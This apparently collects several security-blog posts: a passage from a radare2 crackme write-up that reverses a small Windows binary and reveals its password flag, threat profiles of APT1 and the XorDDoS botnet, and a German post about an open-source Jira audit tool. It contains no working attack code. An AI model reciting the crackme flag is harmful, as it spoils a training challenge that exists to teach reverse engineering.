This reads the e_magic signature and the e_lfanew offset in one step, making PE header inspection much clearer.


Now I’ll run afl to list the functions that radare2 discovered in this binary.
The list is extensive, but we’re specifically looking for the entry function where the executable begins execution.

The entry function is located at 0x00401a00; radare2 has already taken us there automatically, but you can jump to it manually with s 0x00401a00.

Using afl~main we can list all functions whose names include “main.”

To display the assembly code for this function, I can use the command pdf @ sym._main.

Now we can translate the given assembly into pseudocode to better visualize what the function is doing.
I’ll start by deriving the function signature (parameters and return type). Here’s the general approach:

Identify the calling convention

  • In the epilogue:
    • ret -> cdecl (the caller cleans up the arguments)
    • ret N -> stdcall (the callee cleans up N bytes = number of arguments × 4)
  • Register-based conventions:
    • thiscall (MSVC): ecx holds this
    • fastcall: the first arguments are passed in ecx and edx

Count the number of arguments

  • For stdcall: the number of arguments = imm in ret imm / 4
  • For cdecl:
    • Count the push instructions (or mov [esp+…]) before the call in the caller function
    • Example: three push instructions -> three arguments
  • If the callee references its arguments directly:
    • [ebp+8] -> first argument
    • [ebp+0xC] -> second argument, and so on.

Determine the return type
Check the final instructions in the function body:

  • Used as an address -> pointer
  • Value returned in eax (32-bit) -> int, bool, or pointer
  • Value returned in edx:eax -> 64-bit integer
  • Value returned via st0 (FPU) -> float or double (common with fld/fstp)
  • (SSE returns on x86-32 are rare; on x64 they use xmm0.)

Consider semantics:

  • Only 0 or 1 -> likely bool
  • Multiple values or error codes -> int

Now, for our specific case:

Since the callee doesn’t use any parameters in its data flow, we move to its caller (the CRT startup routine).
In PE/MinGW, the startup sequence typically goes like this:
mainCRTStartup -> __tmainCRTStartup -> ___main or __mingw32_init_mainargs -> _main(argc, argv, envp)

Identifiying CRT vs. User Code:

When analyzing Windows executables, you’ll often see functions like ___main, mainCRTStartup, or __tmainCRTStartup.
These belong to the C Runtime (CRT) and handle setup tasks such as initializing global variables, the floating-point environment, and calling your actual main function.
A quick rule of thumb: if the function name starts with multiple underscores or manipulates environment or FPU state (fldenv, fninit, ldmxcsr), it’s part of the CRT, not user-written code.

We can now inspect the call sites in radare2.
Looking at the initial disassembly output, we can identify the relevant line:

; CALL XREF from fcn.004011b0 @ 0x401283(x)

This shows the address of the call site.
We can jump to that address and review the instructions leading up to the call with:

s 0x401283
pd -30
pd 20

Here we can see the typical behavior of the C runtime (CRT), which retrieves the arguments from global variables and passes them to main using a push-less call convention.

Push-less Call Convention? What is that? (CLICK)

Some compilers (like GCC or MinGW) don’t use the traditional push instructions for function arguments.
Instead, they write the argument directly onto the stack with mov [esp], value and then call the function.
When the call instruction executes, it automatically pushes the return address, which shifts the argument down to [esp+4]exactly where the callee expects it according to the cdecl calling convention.

Example:

mov [esp], 0x405064   ; write argument (string address)
call printf            ; CPU pushes return address -> arg at [esp+4]

This technique saves instructions and is known as a push-less call setup.

0x00401267  e8 8c28....    call ___p__environ
0x0040126c  8b 00           mov  eax, dword [eax]
0x0040126e  89 44 24 08     mov  [var_8h], eax

Here’s a brief explanation of the assembly code:
___p__environ() returns a pointer to the global variable environ, which is of type char***.
mov eax, [eax] dereferences it once, so eax now holds a char** the actual envp pointer.
This value is then stored in var_8h, effectively setting envp = environ;.

0x00401272  a1 00 70 40 00  mov  eax, [0x407000]
0x00401277  89 44 24 04     mov  [var_4h], eax

[0x407000] is a CRT global variable, typically representing __argc.
Therefore, var_4h receives the value of argc, effectively making it argc = __argc;.

0x0040127b  a1 04 70 40 00  mov  eax, [0x407004]
0x00401280  89 04 24        mov  [esp], eax      ; char **argv

[0x407004] is the CRT global variable for __argv, which is of type char**.
mov [esp], eax writes the first function argument directly onto the top of the stack without using a push instruction.
This is a common compiler pattern known as a “push-less call setup,” meaning argv is now prepared as the first parameter for the upcoming function call.

0x00401283  e8 d8 01 00 00  call sym._main      ; int main(char **argv)

The call uses exactly what’s currently stored in [esp], which is argv.
That’s why radare2 annotates the function signature as int main(char **argv)only argv is passed as an argument.

Now that we understand how the parameter passing works, we can start writing our first pseudocode.

<RETURN-TYPE> main(char **argv) {}

We still need to determine the return type for the function signature, which should be relatively easy to identify. To do this, I’ll take a look at the final instructions of our assembly function.

│       └─> 0x004014a5      b800000000     mov eax, 0 
│           0x004014aa      c9             leave
└           0x004014ab      c3             ret

mov eax, 0 gives us a clear indication of the return type. To determine it, it’s useful to look at which register is being used in the mov instruction right before the leave and ret sequence.
In 32-bit code, the return value is always stored in the EAX register.
This follows the ABI (Application Binary Interface) convention, which applies to all languages that adhere to C calling conventions such as C, C++, Pascal, and stdcall.

Calling Conventions? What is that? (CLICK)

Understanding the calling convention is essential when reconstructing a function’s signature.
You can often identify it by looking at how the stack is cleaned up and how arguments are passed:

ConventionStack CleanupArgument PassingTypical Pattern
cdeclCallervia stack (push / mov [esp+..])ret
stdcallCalleevia stackret N (N = args × 4)
fastcallCalleefirst args in ecx, edxret N
thiscallCalleeecx = this (C++)ret N

If the callee doesn’t access any arguments directly, inspect the call site instead — count how many push or mov [esp+..] instructions occur before the call. That number tells you how many parameters are passed.

Rückgabetyp (in C)RegisterGröße
int, bool, pointerEAX4 Bytes
floatST0 (FPU)4 Bytes
doubleST0 (FPU)8 Bytes
long longEDX:EAX8 Bytes zusammengesetzt

We can therefore confidently conclude that the return value is an integer, allowing us to expand our pseudocode accordingly.

int main(char **argv) {}

We can therefore confidently conclude that the return value is an integer and expand our pseudocode accordingly.

Now we can finally focus on analyzing the data flow and translating it step by step.

The prologue of the function can be ignored when writing our pseudocode, it is responsible for setting up the stack frame, aligning the stack to 16 bytes, reserving local variables, and initializing the C runtime (CRT).

Stack frame? What is that? (CLICK)

At the beginning of a function, the compiler sets up what’s called a stack frame.
sub esp, 0x20 reserves 32 bytes (0x20) on the stack for local variables.
Each local variable is located at a specific offset relative to either esp or ebp.

Example:

esp+0x00 → return address (after the call)
esp+0x04 → first function argument
esp+0x1C → local variable var_1ch

So, lea eax, [var_1ch] loads the address of that local variable into eax, not its value.

At the end of the function, the leave instruction restores the previous stack frame, and ret pops the return address to resume execution at the caller.

55                    push ebp
89 e5                 mov ebp, esp
83 e4 f0              and esp, 0xfffffff0      ; 16-Byte-Alignment
83 ec 20              sub esp, 0x20            ; 32 Byte local variables
e8 72 05 00 00        call ___main             ; CRT/MinGW-Init

The first section of code that we can meaningfully translate begins at address 0x0040146e:

esp+00  <- Here, the compiler immediately stores the first function argument (push-less).
esp+04  <- 2. Argument
...
esp+1C  <- local int  (radare: var_1ch)

The first section of code that we can meaningfully translate begins at address 0x0040146e:

0x0040146e      c704246450..   mov dword [esp], str.Enter_password__int_: ; [0x405064:4]=0x65746e45 ; "Enter password (int): " ; const char *format
0x00401475      e80e260000     call sym._printf            ; int printf(const char *format)

At address 0x0040146e, the instruction writes the 32-bit value 0x405064 the address of the C string constant "Enter password (int): " stored in the .rdata section to the top of the stack ([esp]).
This represents a push-less argument setup: instead of using push imm32, the compiler writes the first function argument directly into the stack slot. This pattern is typical for GCC and MinGW.

Immediately afterward, the function printf is called to print the string. During the call, the CPU automatically pushes the return address onto the stack, which decreases esp by 4 bytes.

We can now extend our pseudocode as follows:

int main(char **argv) {
    printf("Enter password (int): ");
}

Now let’s examine the next four lines:

0x0040147a      8d44241c       lea eax, [var_1ch]
0x0040147e      89442404       mov dword [var_4h], eax
0x00401482      c704247b50..   mov dword [esp], 0x40507b   ; '{P@'
                                                           ; [0x40507b:4]=0x59006425 ; "%d" ; const char *format0x00401489      e8ea250000     call sym._scanf      ; int scanf(const char *format)

At address 0x0040147a, we can see that the function’s stack frame contains a local variable at offset 0x1C, var_1ch is radare2’s symbolic name for the stack slot at [esp+0x1c] (i.e., a local 0x1C bytes into the 0x20-byte frame reserved by sub esp, 0x20).

This variable is not initialized and, as we can see in the final instruction of this block, it is used as the destination for the scanf call to store the user input.

We can incorporate this information directly into our pseudocode:

int main(char **argv) {
    printf("Enter password (int): ");
    int input;
    scanf("%d", &input);
}

Our code is slowly starting to take shape and gain some structure, so let’s move on and analyze the remaining instructions:

│           0x00401492      3d90e70100     cmp eax, 0x1e790
│       ┌─< 0x00401497      750c           jne 0x4014a5
│       │   0x00401499      c704247e50..   mov dword [esp], str.You_got_it___ ; [0x40507e:4]=0x20756f59 ; "You got it ;)" ; const char *format
│       │   0x004014a0      e8e3250000     call sym._printf            ; int printf(const char *format)
...
│       └─> 0x004014a5      b800000000     mov eax, 0
│           0x004014aa      c9             leave
└           0x004014ab      c3             ret
            0x004014ac      6690           nop

cmp eax, 0x1e790 compares the value in EAX (previously loaded from [var_1ch], i.e. the user-input) with the 32-bit constant 0x001E790 (decimal 124816), which is important for our CrackMe Challenge, this is effectively the flag; the CPU updates the status flags (including the Zero Flag, ZF) as a result.

Translating Comparisons and Flags into if Statements (CLICK)

The cmp instruction sets CPU status flags based on the result of a subtraction (A - B), and conditional jumps like je, jne, or jg use those flags to control flow.

InstructionCondition (Flag)High-Level Equivalent
je / jzZF = 1if (A == B)
jne / jnzZF = 0if (A != B)
jg / jnleZF=0 & SF=OFif (A > B)
jl / jngeSF≠OFif (A < B)

Example:

cmp eax, 0x1e790
jne 0x4014a5

translates to

if (input != 124816) goto 0x4014a5;

Tip: You can quickly convert hexadecimal to decimal in radare2 with

? 0x1e790



0x00401497 jne 0x4014a5 is “jump if not equal”: it branches only when ZF == 0 (values unequal); if the input != 124816 execution jumps to 0x4014a5, skipping the subsequent print.

If EAX == 0x1E790 (ZF == 1), execution falls through to the next block: mov dword [esp], 0x40507e writes the address of the C string "You got it ;)" (located in .rdata at 0x40507e) into [esp] as the first function argument, a push-less argument setup (instead of push imm32).

call sym._printf invokes printf(const char *format); the call pushes the return address so that printf finds its first argument at [esp+4], consistent with the cdecl/varargs calling convention.

Finally, mov eax, 0 loads the immediate value 0 into EAX (overwriting any previous content); under the 32-bit cdecl ABI EAX is the standard return register, so this corresponds to return 0;. leave restores the stack frame (mov esp, ebp; pop ebp), and ret returns control to the caller.

Identifying and understanding is a Keyskill for writing Pseudocode, so


int main(char **argv) {
    printf("Enter password (int): ");
    int input;
    scanf("%d", &input);
    if (input == 124816) {
        printf("You got it ;)");
    }

    return 0
}

With this, we now have both the flag (124816) and the pseudocode for the challenge; I hope you were able to follow along and take something useful from my write-up. If you have feedback or questions, feel free to comment or contact me.

I also recommend reviewing all linked resources, as they can be very helpful if you want to dive deeper into reverse engineering 🙂

APT1

APT1 (Comment Crew / Shanghai Group) – Quick Facts

  • Type: Advanced Persistent Threat (APT)
  • Aliases: Comment Crew, Comment Group, Comment Panda, Unit 61398.
  • Origin: China, linked to PLA Unit 61398
  • Active Since: Mid-2000s
  • Primary Targets: Western corporations, government organizations, defense contractors
  • Motivation: Cyber espionage, intellectual property theft
  • Tactics & Techniques:
    • Spear-phishing emails
    • Custom malware and remote access tools (RATs)
    • Long-term network infiltration for intelligence gathering
  • Notable Campaigns:
    • Exfiltration of corporate data across multiple industries, including aerospace, energy, and technology
  • Significance:
    • One of the first publicly documented APT groups
    • Exposed in Mandiant’s 2013 report, raising global awareness of state-sponsored cyber espionage
  • Attributed Tools & Malware:
    • Malware Samples & More Malware Samples
    • WEBC2 Family:
      • WEBC2-AUSOV
      • WEBC2-ADSPACE
      • WEBC2-BOLID
      • WEBC2-CLOVER
      • WEBC2-CSON
      • WEBC2-DIV
      • WEBC2-GREENCAT
      • WEBC2-HEAD
      • WEBC2-KT3
      • WEBC2-QBP
      • WEBC2-RAVE
      • WEBC2-TABLE
      • WEBC2-TOCK
      • WEBC2-UGX
      • WEBC2-YAHOO
      • WEBC2-Y21K
    • GOGGLES – Downloader used by the group (serves as a payload/secondary-stage downloader).
    • GLASSES – A variant or close relative of GOGGLES; identified in a Citizen Lab analysis and likely an earlier or related implementation.
    • AURIGA / BANGAT – Tools linked to a developer tracked as “SuperHard”; mentioned by Mandiant but not always named in the public report.
    • Email-exfiltration utilities: GETMAIL (used to extract PST files) and MAPIGET (used to read emails that haven’t been archived).
    • Public privilege-escalation tools: examples include cachedump, fgdump, and gsecdump, not unique to APT1 but observed in their operations.
    • HTRAN (HUC Packet Transmit Tool) – used as a hop/proxy relay to forward communications between victims and command-and-control servers, helping to obscure origin and routing.
  • MITRE ATT&CK: https://attack.mitre.org/groups/G0006/

Description

APT1, often called the Comment Crew or PLA Unit 61398, is one of the most infamous and well-documented cyber espionage groups linked to the Chinese government. First brought into the spotlight by Mandiant’s 2013 report, APT1 was among the first hacking units publicly tied to a specific branch of China’s military, the People’s Liberation Army, revealing the true scale of state-backed digital espionage for economic and strategic gain.

Active since at least 2006, APT1 ran one of the most disciplined and long-running hacking operations ever uncovered. Its members focused on stealing intellectual property and confidential business information from hundreds of organizations across industries like aerospace, defense, energy, telecom, and manufacturing – mostly in the United States, but also in Europe and Asia. Everything they took seemed to serve China’s national interests, whether by boosting its industries or informing military and political strategies.

Technically, APT1 was known for its methodical and repeatable playbook. The group broke in through targeted phishing emails and custom malware such as the WEBC2 family (with variants like WEBC2-AUSOV and WEBC2-GREENCAT). Once inside, they established persistence with credential-stealing tools (GETMAIL, MAPIGET, FGDump) and routed stolen data through a vast command-and-control network of more than 1,000 servers and 2,500 domains, often masked with tools like HTRAN to hide their tracks. Their infrastructure and coding style were remarkably consistent, the work of full-time engineers, not lone hackers.

What made APT1 stand out wasn’t just the scale of its operations, but the professionalism behind it. Investigators found evidence of shift-based work hours, organized infrastructure, and shared codebases, all pointing to a state-run, military-grade espionage unit based in Shanghai. The exposure of APT1 changed how the world viewed cyber conflict, proving that digital espionage could be conducted with the same structure and intent as any traditional military campaign.

In many ways, APT1 set the template for the modern nation-state hacking group: large, organized, patient, and focused on long-term strategic advantage rather than chaos or quick profit. Its legacy still shapes how governments and companies think about cybersecurity and geopolitical risk today.

References:

JIRAudit

Dein Open-Source-Tool für Sicherheits-Audits in Jira Server & Data Center

In der heutigen Zeit, in der Datenschutz und Compliance oberste Priorität haben, ist es entscheidend, die Sicherheit und Integrität deiner Jira-Instanz regelmäßig zu überprüfen. Während Jira über eingebaute Audit-Logs verfügt, bieten diese oft nicht die Tiefe und Flexibilität, die für umfassende Sicherheitsanalysen erforderlich sind. Hier kommt JIRAudit ins Spiel, ein Open-Source-Tool, das speziell für Jira Server und Data Center entwickelt wurde.


Was ist JIRAudit?

JIRAudit ist ein Python-basiertes Sicherheits-Audit-Tool, das entwickelt wurde, um Sicherheitslücken in Jira-Instanzen zu identifizieren. Es bietet eine detaillierte Analyse von Benutzerberechtigungen, installierten Plugins, Systemkonfigurationen und mehr. Das Tool hilft Administratoren dabei, potenzielle Sicherheitsrisiken zu erkennen und entsprechende Maßnahmen zu ergreifen.


Hauptfunktionen im Überblick

  • Benutzer- und Berechtigungsanalyse: Überprüft Benutzerkonten und deren Berechtigungen, um sicherzustellen, dass keine unnötigen oder übermäßigen Rechte vergeben wurden.
  • Plugin-Überprüfung: Identifiziert installierte Plugins und bewertet deren Sicherheitsstatus, um potenzielle Schwachstellen zu erkennen.
  • Systemkonfigurationsanalyse: Analysiert die Jira-Systemkonfiguration auf Best Practices und Sicherheitslücken.
  • Berichterstattung: Generiert detaillierte Berichte, die Administratoren bei der Behebung von Sicherheitsproblemen unterstützen.

Vorteile von JIRAudit

  • Open Source: JIRAudit ist unter der Apache-2.0-Lizenz verfügbar, was bedeutet, dass es kostenlos genutzt, modifiziert und verteilt werden kann.
  • Regelmäßige Updates: Das Tool wird kontinuierlich aktualisiert, um mit den neuesten Jira-Versionen und Sicherheitstrends Schritt zu halten.
  • Einfache Integration: Dank seiner Python-Basis lässt sich JIRAudit problemlos in bestehende DevOps- und CI/CD-Pipelines integrieren.

So setzt du JIRAudit ein

  1. Installation: Lade das neueste Release von GitHub herunter.
  2. Konfiguration: Passe die settings.py-Datei an deine Jira-Instanz an.
  3. Ausführung: Führe das Tool über die Kommandozeile aus: python JIRAudit.py
  4. Analyse: Überprüfe die generierten Berichte auf potenzielle Sicherheitsrisiken.

Weitere Ressourcen

XORDDoS


Malware Name / Type

  • Name: XorDDoS (aka XOR DDoS)
  • Type: Linux Trojan / DDoS botnet (rootkit-capable)

Quick Summary

  • First Seen / Known Since: First publicly reported in 2014 (discovered by MalwareMustDie).
  • Primary Targets / Industries: Linux servers, cloud instances, IoT devices, and container/Docker hosts.
  • Geographic Focus: Global; historically heavy activity in Asia and frequent targeting of US-based infrastructure in recent waves.

Infection & Distribution

  • Common Delivery Vectors: SSH brute-force / credential compromise, automated scanning of exposed services, malicious scripts dropped after initial access.
  • Initial Access Methods: Brute-force or stolen SSH credentials, exploitation of exposed management interfaces, automated deployment scripts.

Technical Characteristics

  • Platform / Language: Multi-architecture Linux ELF binaries (x86, x64, ARM); often accompanied by shell scripts for installation.
  • Persistence Mechanisms: Multiple-install-step approach including installing rootkit components, cron/jobs, service wrappers and use of scripts to re-deploy persistence across reboots.
  • Command & Control (C2): Encrypted communications often using simple XOR-based obfuscation; C2 infrastructure has evolved and includes resilient controller nodes and domain/IP patterns.
  • Capabilities: High-capacity volumetric DDoS (various UDP/TCP/HTTP flood techniques), remote command execution, bot management, and sometimes lateral scanning for new victims.
  • Evasion Techniques: XOR obfuscation of strings/traffic, rootkit hiding to conceal files/processes, multi-stage installers that complicate detection and attribution.

Notable Campaigns / Incidents

  • Historic wave (2014–2015): Large brute-force campaigns that initially brought XorDDoS to light.
  • Resurgence / recent waves (2019–2025): Periodic resurgences with improved controllers and infrastructure; researchers documented a notable wave and new controller activity between late 2023 and early 2025.

Impact Assessment

  • Damage Potential: Medium to High. Primarily contributes to large-scale DDoS campaigns; infected hosts are turned into bots and can cause significant service disruption or be rented/sold for DDoS-for-hire.
  • Typical Victim Impact: Service downtime, increased bandwidth costs, potential secondary compromises if credentials are reused.

Indicators & Artifacts


Detection & Mitigation

  • Detection Tips: Monitor for high outbound DDoS traffic, sudden SSH login failures/successes (brute-force patterns), unexpected long-running ELF processes, hidden files/modules, and unusual cron/service entries.
  • Immediate Mitigation Steps: Isolate infected hosts from network, revoke SSH keys/passwords, rotate credentials, remove malicious persistence, patch exposed services, and restore from known-good images if rootkit compromise suspected.
  • Longer-term Recommendations: Harden SSH (disable password auth, use keys with MFA, rate-limit/geo-block where possible), apply least-privilege, enable host-based monitoring/EPP with rootkit detection, block known C2 domains/IPs at perimeter, and maintain IR playbooks for botnet infections.

WriteUp & Useful Resources